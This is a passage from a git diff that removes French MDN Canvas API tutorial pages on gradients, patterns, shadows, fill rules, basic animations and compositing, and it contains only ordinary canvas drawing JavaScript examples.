Crée un objet dégradé linéaire avec un point de départ (x1, y1) et un point final (x2, y2).
-
{{domxref("CanvasRenderingContext2D.createRadialGradient", "createRadialGradient(x1, y1, r1, x2, y2, r2)")}}
-
Crée un dégradé radial. Les paramètres représentent deux cercles, l'un avec son centre à (x1, y1) et un rayon r1, l'autre avec son centre à (x2, y2) avec un rayon r2.
-
- -

Par exemple:

- -
var lineargradient = ctx.createLinearGradient(0, 0, 150, 150);
-var radialgradient = ctx.createRadialGradient(75, 75, 0, 75, 75, 100);
- -

Une fois que nous avons créé un objet CanvasGradient, nous pouvons lui assigner des couleurs en utilisant la méthode addColorStop ().

- -
-
{{domxref("CanvasGradient.addColorStop", "gradient.addColorStop(position, color)")}}
-
Crée un nouvel arrêt de couleur sur l'objet gradient (dégradé). La position est un nombre entre 0.0 et 1.0 et définit la position relative de la couleur dans le dégradé ; et l'argument color doit être une chaîne représentant une CSS {{cssxref ("<color>")}}, indiquant la couleur que le dégradé devrait atteindre.
-
- -

Vous pouvez ajouter autant d'arrêts de couleur à un dégradé que vous le souhaitez. Ci-dessous figure un dégradé linéaire très simple du blanc au noir.

- -
var lineargradient = ctx.createLinearGradient(0, 0, 150, 150);
-lineargradient.addColorStop(0, 'white');
-lineargradient.addColorStop(1, 'black');
- -

Un exemple de createLinearGradient

- -

Dans cet exemple, nous allons créer deux dégradés différents. Comme vous pouvez le voir ici, les propriétés strokeStyle et fillStyle peuvent accepter un objet canvasGradient comme entrée valide.

- -
function draw() {
-  var ctx = document.getElementById('canvas').getContext('2d');
-
-  // Créer un dégradé
-  var lingrad = ctx.createLinearGradient(0, 0, 0, 150);
-  lingrad.addColorStop(0, '#00ABEB');
-  lingrad.addColorStop(0.5, '#fff');
-  lingrad.addColorStop(0.5, '#26C000');
-  lingrad.addColorStop(1, '#fff');
-
-  var lingrad2 = ctx.createLinearGradient(0, 50, 0, 95);
-  lingrad2.addColorStop(0.5, '#000');
-  lingrad2.addColorStop(1, 'rgba(0, 0, 0, 0)');
-
-  // assigner des dégradés aux styles "fill" et "stroke"
-  ctx.fillStyle = lingrad;
-  ctx.strokeStyle = lingrad2;
-
-  // Dessiner des formes
-  ctx.fillRect(10, 10, 130, 130);
-  ctx.strokeRect(50, 50, 50, 50);
-
-}
- - - -

Le premier est un dégradé d'arrière-plan. Comme vous pouvez le voir, nous avons assigné deux couleurs à la même position. Vous faites cela pour faire des transitions de couleurs très nettes - dans ce cas du blanc au vert. Normalement, peu importe dans quel ordre vous définissez l'arrêt de la couleur, mais dans ce cas particulier, la différence peut être significative. Si vous conservez les affectations dans l'ordre où vous voulez qu'elles apparaissent, cela ne posera aucun problème.

- -

Dans le second gradient, nous n'avons pas assigné la couleur de départ (à la position 0.0) puisqu'il n'était pas strictement nécessaire car il prendra automatiquement la valeur de la prochaine couleur. Par conséquent, l'attribution de la couleur noire à la position 0,5 fait automatiquement passer le dégradé, du début à l'arrêt, en noir.

- -

{{EmbedLiveSample("A_createLinearGradient_example", "180", "180", "https://mdn.mozillademos.org/files/235/Canvas_lineargradient.png")}}

- -

Un exemple de createRadialGradient

- -

Dans cet exemple, nous définirons quatre dégradés radiaux différents. Parce que nous avons le contrôle sur les points de départ et de fermeture du dégradé, nous pouvons obtenir des effets plus complexes que nous aurions normalement dans les dégradés radiaux "classiques" (c'est-à-dire un dégradé avec un seul point central où le dégradé se développe vers l'extérieur dans une forme circulaire).

- -
function draw() {
-  var ctx = document.getElementById('canvas').getContext('2d');
-
-  // Créer un dégradé
-  var radgrad = ctx.createRadialGradient(45, 45, 10, 52, 50, 30);
-  radgrad.addColorStop(0, '#A7D30C');
-  radgrad.addColorStop(0.9, '#019F62');
-  radgrad.addColorStop(1, 'rgba(1, 159, 98, 0)');
-
-  var radgrad2 = ctx.createRadialGradient(105, 105, 20, 112, 120, 50);
-  radgrad2.addColorStop(0, '#FF5F98');
-  radgrad2.addColorStop(0.75, '#FF0188');
-  radgrad2.addColorStop(1, 'rgba(255, 1, 136, 0)');
-
-  var radgrad3 = ctx.createRadialGradient(95, 15, 15, 102, 20, 40);
-  radgrad3.addColorStop(0, '#00C9FF');
-  radgrad3.addColorStop(0.8, '#00B5E2');
-  radgrad3.addColorStop(1, 'rgba(0, 201, 255, 0)');
-
-  var radgrad4 = ctx.createRadialGradient(0, 150, 50, 0, 140, 90);
-  radgrad4.addColorStop(0, '#F4F201');
-  radgrad4.addColorStop(0.8, '#E4C700');
-  radgrad4.addColorStop(1, 'rgba(228, 199, 0, 0)');
-
-  // dessiner des formes
-  ctx.fillStyle = radgrad4;
-  ctx.fillRect(0, 0, 150, 150);
-  ctx.fillStyle = radgrad3;
-  ctx.fillRect(0, 0, 150, 150);
-  ctx.fillStyle = radgrad2;
-  ctx.fillRect(0, 0, 150, 150);
-  ctx.fillStyle = radgrad;
-  ctx.fillRect(0, 0, 150, 150);
-}
- - - -

Dans ce cas, nous avons légèrement décalé le point de départ du point final pour obtenir un effet 3D sphérique. Il est préférable d'éviter de laisser les cercles intérieurs et extérieurs se chevaucher car cela entraîne des effets étranges, difficiles à prédire.

- -

Le dernier arrêt de couleur dans chacun des quatre dégradés utilise une couleur entièrement transparente. Si vous voulez une transition agréable de cette étape à la couleur précédente, les deux couleurs doivent être égales. Ce n'est pas très évident dans le code, car il utilise deux méthodes CSS différentes en démonstration, mais dans le premier dégradé # 019F62 = rgba (1,159,98,1).

- -

{{EmbedLiveSample("A_createRadialGradient_example", "180", "180", "https://mdn.mozillademos.org/files/244/Canvas_radialgradient.png")}}

- -

Modèles

- -

Dans l'un des exemples de la page précédente, nous avons utilisé une série de boucles pour créer un motif d'images. Il existe cependant une méthode beaucoup plus simple : la méthode createPattern ().

- -
-
{{domxref("CanvasRenderingContext2D.createPattern", "createPattern(image, type)")}}
-
Crée et renvoie un nouvel objet de canvas. image est un {{domxref ("CanvasImageSource")}} (c'est-à-dire un {{domxref ("HTMLImageElement")}} ; un autre élément canvas,  type est une chaîne indiquant comment utiliser l'image.
-
- -

Le type spécifie comment utiliser l'image pour créer le motif et doit avoir l'une des valeurs de chaîne suivantes :

- -
-
repeat
-
Tapisse la zone en répètant l'image dans les deux sens vertical et horizontal.
-
repeat-x
-
Tapisse la zone en répètant l'image horizontalement mais pas verticalement.
-
repeat-y
-
Tapisse la zone en répètant l'image verticalement mais pas horizontalement.
-
no-repeat
-
Ne tapisse pas la zone avec l'image, elle est utilisée une seule fois.
-
- -

Nous utilisons cette méthode pour créer un objet {{domxref ("CanvasPattern")}} qui est très similaire aux méthodes de dégradé que nous avons vu ci-dessus. Une fois que nous avons créé un modèle, nous pouvons l'affecter aux propriétés fillStyle ou strokeStyle. Par exemple :

- -
var img = new Image();
-img.src = 'someimage.png';
-var ptrn = ctx.createPattern(img, 'repeat');
- -
-

Note: Comme avec la méthode drawImage (), vous devez vous assurer que l'image que vous utilisez est chargée avant d'appeler cette méthode, ou le motif pourrait être mal dessiné.

-
- -

Un exemple de createPattern

- -

Dans ce dernier exemple, nous allons créer un modèle à affecter à la propriété fillStyle. La seule chose à noter, est l'utilisation du gestionnaire onload de l'image. Cela permet de s'assurer que l'image est chargée avant d'être affectée au motif.

- -
function draw() {
-  var ctx = document.getElementById('canvas').getContext('2d');
-
-  // créer un nouvel objet image à utiliser comme modèle
-  var img = new Image();
-  img.src = 'https://mdn.mozillademos.org/files/222/Canvas_createpattern.png';
-  img.onload = function() {
-
-    // créer le modèle
-    var ptrn = ctx.createPattern(img, 'repeat');
-    ctx.fillStyle = ptrn;
-    ctx.fillRect(0, 0, 150, 150);
-
-  }
-}
- - - -

{{EmbedLiveSample("A_createPattern_example", "180", "180", "https://mdn.mozillademos.org/files/222/Canvas_createpattern.png")}}

- -

Ombres

- -

L'utilisation des ombres ne comporte que quatre propriétés :

- -
-
{{domxref("CanvasRenderingContext2D.shadowOffsetX", "shadowOffsetX = float")}}
-
Indique la distance horizontale sur laquelle l'ombre doit s'étendre à partir de l'objet. Cette valeur n'est pas affectée par la matrice de transformation. La valeur par défaut est 0.
-
{{domxref("CanvasRenderingContext2D.shadowOffsetY", "shadowOffsetY = float")}}
-
Indique la distance verticale sur laquelle l'ombre doit s'étendre à partir de l'objet. Cette valeur n'est pas affectée par la matrice de transformation. La valeur par défaut est 0.
-
{{domxref("CanvasRenderingContext2D.shadowBlur", "shadowBlur = float")}}
-
Indique la taille de l'effet de floutage ; cette valeur ne correspond pas à un nombre de pixels et n'est pas affectée par la matrice de transformation actuelle. La valeur par défaut est 0.
-
{{domxref("CanvasRenderingContext2D.shadowColor", "shadowColor = color")}}
-
Une valeur de couleur CSS standard indiquant la couleur de l'effet d'ombre ; par défaut, il est entièrement noir transparent.
-
- -

Les propriétés shadowOffsetX et shadowOffsetY indiquent sur quelle distance l'ombre doit s'étendre à partir de l'objet dans les directions X et Y; ces valeurs ne sont pas affectées par la matrice de transformation actuelle. Utilisez des valeurs négatives pour faire en sorte que l'ombre s'étende vers le haut ou vers la gauche et des valeurs positives pour que l'ombre s'étende vers le bas ou vers la droite. La valeur par défaut est 0 pour les 2 propriétés.

- -

La propriété shadowBlur indique la taille de l'effet de flou ; cette valeur ne correspond pas à un nombre de pixels et n'est pas affectée par la matrice de transformation actuelle. La valeur par défaut est 0.

- -

La propriété shadowColor est une valeur de couleur CSS standard indiquant la couleur de l'effet d'ombre ; par défaut, il est entièrement en noir transparent.

- -
-

Note : Les ombres ne sont dessinées que pour les opérations de composition source-over.

-
- -

Un exemple de texte ombré

- -

Cet exemple dessine une chaîne de texte avec un effet d'ombrage.

- -
function draw() {
-  var ctx = document.getElementById('canvas').getContext('2d');
-
-  ctx.shadowOffsetX = 2;
-  ctx.shadowOffsetY = 2;
-  ctx.shadowBlur = 2;
-  ctx.shadowColor = 'rgba(0, 0, 0, 0.5)';
-
-  ctx.font = '20px Times New Roman';
-  ctx.fillStyle = 'Black';
-  ctx.fillText('Sample String', 5, 30);
-}
- - - -

{{EmbedLiveSample("A_shadowed_text_example", "180", "100", "https://mdn.mozillademos.org/files/2505/shadowed-string.png")}}

- -

Nous allons regarder la propriété de la font (police de caratères) et la méthode fillText dans le chapitre suivant sur le dessin de texte.

- -

Règles de remplissage Canvas

- -

Lors de l'utilisation de fill (ou {{domxref ("CanvasRenderingContext2D.clip", "clip")}} et {{domxref("CanvasRenderingContext2D.isPointInPath", "isPointinPath")}}) , déterminez si un point est à l'intérieur ou à l'extérieur d'un chemin et ainsi, s'il est rempli ou non. Ceci est utile lorsqu'un chemin en croise  un autre ou est imbriqué.
-
- Deux valeurs sont possibles :

- - - -

Dans cet exemple, nous utilisons la règle evenodd .

- -
function draw() {
-  var ctx = document.getElementById('canvas').getContext('2d');
-  ctx.beginPath();
-  ctx.arc(50, 50, 30, 0, Math.PI * 2, true);
-  ctx.arc(50, 50, 15, 0, Math.PI * 2, true);
-  ctx.fill('evenodd');
-}
- - - -

{{EmbedLiveSample("Canvas_fill_rules", "110", "110", "https://mdn.mozillademos.org/files/9855/fill-rule.png")}}

- -

{{PreviousNext("Tutoriel_canvas/Formes_géométriques", "Dessin_de_texte_avec_canvas")}}

diff --git a/files/fr/web/api/canvas_api/tutoriel_canvas/animations_basiques/index.html b/files/fr/web/api/canvas_api/tutoriel_canvas/animations_basiques/index.html deleted file mode 100644 index f44929e8be..0000000000 --- a/files/fr/web/api/canvas_api/tutoriel_canvas/animations_basiques/index.html +++ /dev/null @@ -1,339 +0,0 @@ ---- -title: Animations basiques -slug: Web/API/Canvas_API/Tutoriel_canvas/Animations_basiques -tags: - - Canvas - - Graphiques - - HTML - - HTML5 - - Intermédiaire - - Tutoriel -translation_of: Web/API/Canvas_API/Tutorial/Basic_animations ---- -
{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Compositing", "Tutoriel_canvas/Advanced_animations")}}
- -
-

Avec l'utilisation en Javascript du composant {{HTMLElement("canvas")}}, il est très simple de créer des animations (interactives). Ce chapitre décrit comment créer quelques animations basiques.

-
- -

La plus grosse limitation est sans doute qu'une fois qu'une forme est dessinée, elle reste telle quelle. Si on a besoin de la déplacer, il faut la redessiner avec ce qui était dessiné avant. Cela peut prendre beaucoup de temps de redessiner des images complexes et les performances dépendront beaucoup de la vitesse de l'ordinateur qui exécute cet affichage.

- -

Les étapes d'une animation basique

- -

Voici les étapes à suivre à chaque image dessinée (frame) :

- -
    -
  1. Effacer le canevas
    - À moins que les formes que vous voulez dessiner remplissent complètement le canevas (par exemple une image en arrière-plan), vous devrez effacer toutes les formes qui ont été dessinées précédemment. La manière la plus simple de le faire est d'utiliser la méthode {{domxref("CanvasRenderingContext2D.clearRect", "clearRect()")}}.
    2. -
  2. Enregistrer l'état du canevas
    - Si vous changez des configurations qui affectent l'état du canevas (comme le style, les transformations, etc.), et vous voulez vous assurer que c'est l'état original qui est utilisé chaque fois que le canevas est redessiné, alors vous devez enregistrer l'état original.
    3. -
  3. Dessiner les formes animées
    - Vous effectuez toutes les opérations pour afficher l'image.
    4. -
  4. Restaurer l'état du canevas
    - Si l'état du canevas a été sauvegardé, vous  restaurez cet état avant le prochain rendu.
    5. -
- -

Contrôle d'une animation

- -

Les formes sont dessinées en utilisant soit les méthodes du canevas directement soit en appelant des fonctions personnalisées. Dans des conditions normales, on ne voit le résultat des opérations sur le canevas que quand le script a terminé son exécution. Cela signifie qu'il n'est pas possible de créer une animation avec une boucle for.

- -

Il nous faut donc un moyen d'exécuter nos fonctions de dessin sur une période de temps. Il existe à ce jour trois manières de le faire.

- -

Mises à jour planifiées

- -

Les fonctions {{domxref("window.setInterval()")}}, {{domxref("window.setTimeout()")}}, et {{domxref("window.requestAnimationFrame()")}} peuvent être utilisées :

- -
-
{{domxref("WindowTimers.setInterval", "setInterval(function, delay)")}}
-
Lance la fonction définie par function chaque delay (délai) millisecondes.
-
{{domxref("WindowTimers.setTimeout", "setTimeout(function, delay)")}}
-
Exécute la fonction définie par function dans delay millisecondes.
-
{{domxref("Window.requestAnimationFrame()", "requestAnimationFrame(callback)")}}
-
Dit au navigateur qu'on veut afficher une animation et lui demande d'appeler la fonction callback pour mettre à jour cette animation avant de dessiner la prochaine image.
-
- -

Si vous n'avez pas besoin d'interaction utilisateur, vous pouvez utiliser la fonction setInterval(), elle va exécuter périodiquement votre code.

- -

Si vous voulez faire un jeu, et utiliser les événements du clavier et de la souris pour contrôler l'animation, vous pouvez utiliser setTimeout(). En utilisant des {{domxref("EventListener")}}, on peut récupèrer chaque interaction et d'exécuter nos fonctions d'animation.

- -

Dans les exemples suivants, nous utiliserons {{domxref("window.requestAnimationFrame()")}} pour contrôler les animations. Cette technique est plus fluide et plus efficace, elle appelle les opérations de rendu quand le système est prêt à dessiner l'image. Dans des conditions idéales, la fonction est alors lancée 60 fois par seconde, mais la fréquence sera réduite si l'animation se passe dans un onglet non visible.

- -
-

Pour plus d'informations sur la boucle d'animation, plus spécialement pour les jeux, rendez-vous sur l'article L'anatomie d'un jeu vidéo dans notre section Développement de jeux vidéo.

-
- -

Un système terrestre animé

- -

Cette exemple anime un petit modèle de notre système terrestre.

- -
var sun = new Image();
-var moon = new Image();
-var earth = new Image();
-function init(){
-  sun.src = 'https://mdn.mozillademos.org/files/1456/Canvas_sun.png';
-  moon.src = 'https://mdn.mozillademos.org/files/1443/Canvas_moon.png';
-  earth.src = 'https://mdn.mozillademos.org/files/1429/Canvas_earth.png';
-  window.requestAnimationFrame(draw);
-}
-
-function draw() {
-  var ctx = document.getElementById('canvas').getContext('2d');
-
-  ctx.globalCompositeOperation = 'destination-over';
-  ctx.clearRect(0,0,300,300); // effacer le canvas
-
-  ctx.fillStyle = 'rgba(0,0,0,0.4)';
-  ctx.strokeStyle = 'rgba(0,153,255,0.4)';
-  ctx.save();
-  ctx.translate(150,150);
-
-  // Terre
-  var time = new Date();
-  ctx.rotate( ((2*Math.PI)/60)*time.getSeconds() + ((2*Math.PI)/60000)*time.getMilliseconds() );
-  ctx.translate(105,0);
-  ctx.fillRect(0,-12,50,24); // Ombre
-  ctx.drawImage(earth,-12,-12);
-
-  // Lune
-  ctx.save();
-  ctx.rotate( ((2*Math.PI)/6)*time.getSeconds() + ((2*Math.PI)/6000)*time.getMilliseconds() );
-  ctx.translate(0,28.5);
-  ctx.drawImage(moon,-3.5,-3.5);
-  ctx.restore();
-
-  ctx.restore();
-
-  ctx.beginPath();
-  ctx.arc(150,150,105,0,Math.PI*2,false); // Orbite terrestre
-  ctx.stroke();
-
-  ctx.drawImage(sun,0,0,300,300);
-
-  window.requestAnimationFrame(draw);
-}
-
-init();
-
- - - -

{{EmbedLiveSample("Un_système_terrestre_animé", "310", "310", "https://mdn.mozillademos.org/files/202/Canvas_animation1.png")}}

- -

Une horloge animée

- -

Cette exemple dessine une horloge animée qui affiche l'heure actuelle.

- -
function clock(){
-  var now = new Date();
-  var ctx = document.getElementById('canvas').getContext('2d');
-  ctx.save();
-  ctx.clearRect(0,0,150,150);
-  ctx.translate(75,75);
-  ctx.scale(0.4,0.4);
-  ctx.rotate(-Math.PI/2);
-  ctx.strokeStyle = "black";
-  ctx.fillStyle = "white";
-  ctx.lineWidth = 8;
-  ctx.lineCap = "round";
-
-  // Marquage des heures
-  ctx.save();
-  for (var i=0;i<12;i++){
-    ctx.beginPath();
-    ctx.rotate(Math.PI/6);
-    ctx.moveTo(100,0);
-    ctx.lineTo(120,0);
-    ctx.stroke();
-  }
-  ctx.restore();
-
-  // Marquage des minutes
-  ctx.save();
-  ctx.lineWidth = 5;
-  for (i=0;i<60;i++){
-    if (i%5!=0) {
-      ctx.beginPath();
-      ctx.moveTo(117,0);
-      ctx.lineTo(120,0);
-      ctx.stroke();
-    }
-    ctx.rotate(Math.PI/30);
-  }
-  ctx.restore();
-
-  var sec = now.getSeconds();
-  var min = now.getMinutes();
-  var hr  = now.getHours();
-  hr = hr>=12 ? hr-12 : hr;
-
-  ctx.fillStyle = "black";
-
-  // Aiguille des heures
-  ctx.save();
-  ctx.rotate( hr*(Math.PI/6) + (Math.PI/360)*min + (Math.PI/21600)*sec )
-  ctx.lineWidth = 14;
-  ctx.beginPath();
-  ctx.moveTo(-20,0);
-  ctx.lineTo(80,0);
-  ctx.stroke();
-  ctx.restore();
-
-  // Aiguille des minutes
-  ctx.save();
-  ctx.rotate( (Math.PI/30)*min + (Math.PI/1800)*sec )
-  ctx.lineWidth = 10;
-  ctx.beginPath();
-  ctx.moveTo(-28,0);
-  ctx.lineTo(112,0);
-  ctx.stroke();
-  ctx.restore();
-
-  // Aiguille des secondes
-  ctx.save();
-  ctx.rotate(sec * Math.PI/30);
-  ctx.strokeStyle = "#D40000";
-  ctx.fillStyle = "#D40000";
-  ctx.lineWidth = 6;
-  ctx.beginPath();
-  ctx.moveTo(-30,0);
-  ctx.lineTo(83,0);
-  ctx.stroke();
-  ctx.beginPath();
-  ctx.arc(0,0,10,0,Math.PI*2,true);
-  ctx.fill();
-  ctx.beginPath();
-  ctx.arc(95,0,10,0,Math.PI*2,true);
-  ctx.stroke();
-  ctx.fillStyle = "rgba(0,0,0,0)";
-  ctx.arc(0,0,3,0,Math.PI*2,true);
-  ctx.fill();
-  ctx.restore();
-
-  ctx.beginPath();
-  ctx.lineWidth = 14;
-  ctx.strokeStyle = '#325FA2';
-  ctx.arc(0,0,142,0,Math.PI*2,true);
-  ctx.stroke();
-
-  ctx.restore();
-
-  window.requestAnimationFrame(clock);
-}
-
-window.requestAnimationFrame(clock);
- - - -

{{EmbedLiveSample("Une_horloge_animée", "180", "180", "https://mdn.mozillademos.org/files/203/Canvas_animation2.png")}}

- -

Un panorama défilant en boucle

- -

Dans cet exemple, un panorama défile de la gauche vers la droite et recommence. Nous utilisons une image du parc Yosemite National récupérée sur Wikimedia, vous pouvez utiliser une autre image de votre choix qui est plus grande que le canevas.

- -
var img = new Image();
-
-// Variables utilisateur - les personnaliser pour changer l'image qui défile, ses
-// directions, et la vitesse.
-
-img.src = 'https://mdn.mozillademos.org/files/4553/Capitan_Meadows,_Yosemite_National_Park.jpg';
-var CanvasXSize = 800;
-var CanvasYSize = 200;
-var speed = 30; // plus elle est basse, plus c'est rapide
-var scale = 1.05;
-var y = -4.5; // décalage vertical
-
-// Programme principal
-
-var dx = 0.75;
-var imgW;
-var imgH;
-var x = 0;
-var clearX;
-var clearY;
-var ctx;
-
-img.onload = function() {
-    imgW = img.width * scale;
-    imgH = img.height * scale;
-
-    if (imgW > CanvasXSize) {
-        // image plus grande que le canvas
-        x = CanvasXSize - imgW;
-    }
-    if (imgW > CanvasXSize) {
-        // largeur de l'image plus grande que le canvas
-        clearX = imgW;
-    } else {
-        clearX = CanvasXSize;
-    }
-    if (imgH > CanvasYSize) {
-        // hauteur de l'image plus grande que le canvas
-        clearY = imgH;
-    } else {
-        clearY = CanvasYSize;
-    }
-
-    // récupérer le contexte du canvas
-    ctx = document.getElementById('canvas').getContext('2d');
-
-    // définir le taux de rafraichissement
-    return setInterval(draw, speed);
-}
-
-function draw() {
-    ctx.clearRect(0, 0, clearX, clearY); // clear the canvas
-
-    // si image est <= taille du canvas
-    if (imgW <= CanvasXSize) {
-        // réinitialise, repart du début
-        if (x > CanvasXSize) {
-            x = -imgW + x;
-        }
-        // dessine image1 supplémentaire
-        if (x > 0) {
-            ctx.drawImage(img, -imgW + x, y, imgW, imgH);
-        }
-        // dessine image2 supplémentaire
-        if (x - imgW > 0) {
-            ctx.drawImage(img, -imgW * 2 + x, y, imgW, imgH);
-        }
-    }
-
-    // image est > taille du canvas
-    else {
-        // réinitialise, repeart du début
-        if (x > (CanvasXSize)) {
-            x = CanvasXSize - imgW;
-        }
-        // dessine image supplémentaire
-        if (x > (CanvasXSize-imgW)) {
-            ctx.drawImage(img, x - imgW + 1, y, imgW, imgH);
-        }
-    }
-    // dessine image
-    ctx.drawImage(img, x, y,imgW, imgH);
-    // quantité à déplacer
-    x += dx;
-}
-
- -

En dessous, vous trouvez l'élément {{HTMLElement("canvas")}} avec l'image qui défile. Notez que les dimensions de largeur et de hauteur spécifiées doivent correspondre aux valeurs des variables CanvasXZSize et CanvasYSize dans le code JavaScript.

- -
<canvas id="canvas" width="800" height="200"></canvas>
- -

{{EmbedLiveSample("Un_panorama_défilant_en_boucle", "830", "230")}}

- -

Autres exemples

- -
-
Un raycaster basique avec canvas
-
Un bon exemple d'animation contrôlée par le clavier.
-
Animations avancées
-
Nous nous attarderons sur quelques techniques d'animation et de gestion de physique avancées dans le prochain châpitre.
-
- -

{{PreviousNext("Web/API/Canvas_API/Tutorial/Compositing", "Tutoriel_canvas/Advanced_animations")}}

diff --git a/files/fr/web/api/canvas_api/tutoriel_canvas/composition/example/index.html b/files/fr/web/api/canvas_api/tutoriel_canvas/composition/example/index.html deleted file mode 100644 index 8fbb3ec79c..0000000000 --- a/files/fr/web/api/canvas_api/tutoriel_canvas/composition/example/index.html +++ /dev/null @@ -1,295 +0,0 @@ ---- -title: Exemple de composition -slug: Web/API/Canvas_API/Tutoriel_canvas/Composition/Example -tags: - - Canvas - - Exemple - - Graphisme - - HTML - - HTML5 - - Tutoriel -translation_of: Web/API/Canvas_API/Tutorial/Compositing/Example ---- -
{{CanvasSidebar}}
- -

Cet exemple illustre un certain nombre d'opérations de composition. Le résultat donne ceci:

- -

{{EmbedLiveSample("Exemple_de_composition", "100%", 7250)}}

- -

Exemple de composition

- -

Ce code configure les valeurs globales utilisées par le reste du programme.

- -
var canvas1 = document.createElement("canvas");
-var canvas2 = document.createElement("canvas");
-var gco = [ 'source-over','source-in','source-out','source-atop',
-            'destination-over','destination-in','destination-out','destination-atop',
-            'lighter', 'copy','xor', 'multiply', 'screen', 'overlay', 'darken',
-            'lighten', 'color-dodge', 'color-burn', 'hard-light', 'soft-light',
-            'difference', 'exclusion', 'hue', 'saturation', 'color', 'luminosity'
-          ].reverse();
-var gcoText = [
-"C'est la configuration par défaut, elle dessine les nouvelles formes au-dessus du contenu existant sur le canvas.",
-"La nouvelle forme est dessinée uniquement là où il y a déjà du contenu sur le canvas. Tout le reste est rendu transparent.",
-"La nouvelle forme est dessinée uniquement là où il n'y a pas de contenu sur le canvas.",
-"La nouvelle forme est dessinée uniquement là où il y a déjà du contenu sur le canvas. Elle s'ajoute au contenu existant.",
-"Les nouvelles formes sont dessinées derrière le contenu existant du canvas.",
-"Le contenu existant du canvas est conservé là où il chevauche la nouvelle forme. Tout le reste est rendu transparent.",
-"Le contenu existant du canvas est conservé là où il ne chevauche pas la nouvelle forme.",
-"Le contenu existant du canvas est conservé là où il chevauche la nouvelle forme. La nouvelle forme est dessinée derrière le contenu existant.",
-"La nouvelle forme est ajoutée en additionnant ses couleurs à celles du contenu existant.",
-"Seule la nouvelle forme est affichée.",
-"Les formes sont rendues transparentes lorsqu'elles se chevauchent.",
-"Les pixels de la nouvelle forme sont multipliés avec les pixels du contenu existant. Le résultat est une image plus sombre.",
-"Les pixels sont inversés, multipliés, puis inversés de nouveau. Le résultat est une image plus claire (l'inverse de multiply)",
-"Une combinaison de multiply et screen. Les parties sombres du contenu existant deviennent plus sombres, et les parties claires deviennent plus claires.",
-"Retiens les pixels les plus sombres entre les deux.",
-"Retiens les pixels les plus clairs entre les deux.",
-"Divise le layer inférieur par le layer supérieur inversé.",
-"Divise le layer inférieur inversé par le layer supérieur, puis inverse le résultat.",
-"Une combinaison de multiply et screen (comme overlay), mais avec le layer supérieur et inférieur inversés.",
-"Assombrit ou éclaircit les couleurs, en fonction de la couleur de la forme ajoutée.",
-"Soustrait le layer inférieur au layer supérieur ou inversemment pour toujours obtenir une valeur positive.",
-"Comme difference, mais avec un contraste moins élevé.",
-"Préserve la luminance et saturation du layer inférieur, et utilise la teinte du layer supérieur.",
-"Préserve la luminance et teinte du layer inférieur, et utilise la saturation du layer supérieur.",
-"Préserve la luminance du layer inférieur, et utilise la teinte et saturation du layer supérieur.",
-"Préserve la teinte et saturation du layer inférieur, et utilise la luminance du layer supérieur."
-].reverse();
-var width = 320;
-var height = 340;
-
- -

Programme principal

- -

Quand la page se charge, le code suivant s'exécute pour configurer et exécuter l'exemple:

- -
window.onload = function() {
-    // lum en sRGB
-    var lum = {
-        r: 0.33,
-        g: 0.33,
-        b: 0.33
-    };
-    // redimensionne le canvas
-    canvas1.width = width;
-    canvas1.height = height;
-    canvas2.width = width;
-    canvas2.height = height;
-    lightMix()
-    colorSphere();
-    runComposite();
-    return;
-};
-
- -

Et dans le code suivant, runComposite() gère la majeure partie du travail, en s'appuyant sur un certain nombre de fonctions utilitaires pour faire les parties difficiles.

- -
function createCanvas() {
-    var canvas = document.createElement("canvas");
-    canvas.style.background = "url("+op_8x8.data+")";
-    canvas.style.border = "1px solid #000";
-    canvas.style.margin = "5px";
-    canvas.width = width/2;
-    canvas.height = height/2;
-    return canvas;
-}
-
-function runComposite() {
-    var dl = document.createElement("dl");
-    document.body.appendChild(dl);
-    while(gco.length) {
-        var pop = gco.pop();
-        var dt = document.createElement("dt");
-        dt.textContent = pop;
-        dl.appendChild(dt);
-        var dd = document.createElement("dd");
-        var p = document.createElement("p");
-        p.textContent = gcoText.pop();
-        dd.appendChild(p);
-
-        var canvasToDrawOn = createCanvas();
-        var canvasToDrawFrom = createCanvas();
-        var canvasToDrawResult = createCanvas();
-
-        var ctx = canvasToDrawResult.getContext('2d');
-        ctx.clearRect(0, 0, width, height)
-        ctx.save();
-        ctx.drawImage(canvas1, 0, 0, width/2, height/2);
-        ctx.globalCompositeOperation = pop;
-        ctx.drawImage(canvas2, 0, 0, width/2, height/2);
-        ctx.globalCompositeOperation = "source-over";
-        ctx.fillStyle = "rgba(0,0,0,0.8)";
-        ctx.fillRect(0, height/2 - 20, width/2, 20);
-        ctx.fillStyle = "#FFF";
-        ctx.font = "14px arial";
-        ctx.fillText(pop, 5, height/2 - 5);
-        ctx.restore();
-
-        var ctx = canvasToDrawOn.getContext('2d');
-        ctx.clearRect(0, 0, width, height)
-        ctx.save();
-        ctx.drawImage(canvas1, 0, 0, width/2, height/2);
-        ctx.fillStyle = "rgba(0,0,0,0.8)";
-        ctx.fillRect(0, height/2 - 20, width/2, 20);
-        ctx.fillStyle = "#FFF";
-        ctx.font = "14px arial";
-        ctx.fillText('existing content', 5, height/2 - 5);
-        ctx.restore();
-
-        var ctx = canvasToDrawFrom.getContext('2d');
-        ctx.clearRect(0, 0, width, height)
-        ctx.save();
-        ctx.drawImage(canvas2, 0, 0, width/2, height/2);
-        ctx.fillStyle = "rgba(0,0,0,0.8)";
-        ctx.fillRect(0, height/2 - 20, width/2, 20);
-        ctx.fillStyle = "#FFF";
-        ctx.font = "14px arial";
-        ctx.fillText('new content', 5, height/2 - 5);
-        ctx.restore();
-
-        dd.appendChild(canvasToDrawOn);
-        dd.appendChild(canvasToDrawFrom);
-        dd.appendChild(canvasToDrawResult);
-
-        dl.appendChild(dd);
-    }
-};
-
- -

Fonctions utilitaires

- -

Notre programme repose sur un certain nombbre de fonctions utilitaires:

- -
var lightMix = function() {
-    var ctx = canvas2.getContext("2d");
-    ctx.save();
-    ctx.globalCompositeOperation = "lighter";
-    ctx.beginPath();
-    ctx.fillStyle = "rgba(255,0,0,1)";
-    ctx.arc(100, 200, 100, Math.PI*2, 0, false);
-    ctx.fill()
-    ctx.beginPath();
-    ctx.fillStyle = "rgba(0,0,255,1)";
-    ctx.arc(220, 200, 100, Math.PI*2, 0, false);
-    ctx.fill()
-    ctx.beginPath();
-    ctx.fillStyle = "rgba(0,255,0,1)";
-    ctx.arc(160, 100, 100, Math.PI*2, 0, false);
-    ctx.fill();
-    ctx.restore();
-    ctx.beginPath();
-    ctx.fillStyle = "#f00";
-    ctx.fillRect(0,0,30,30)
-    ctx.fill();
-};
-
- -
var colorSphere = function(element) {
-    var ctx = canvas1.getContext("2d");
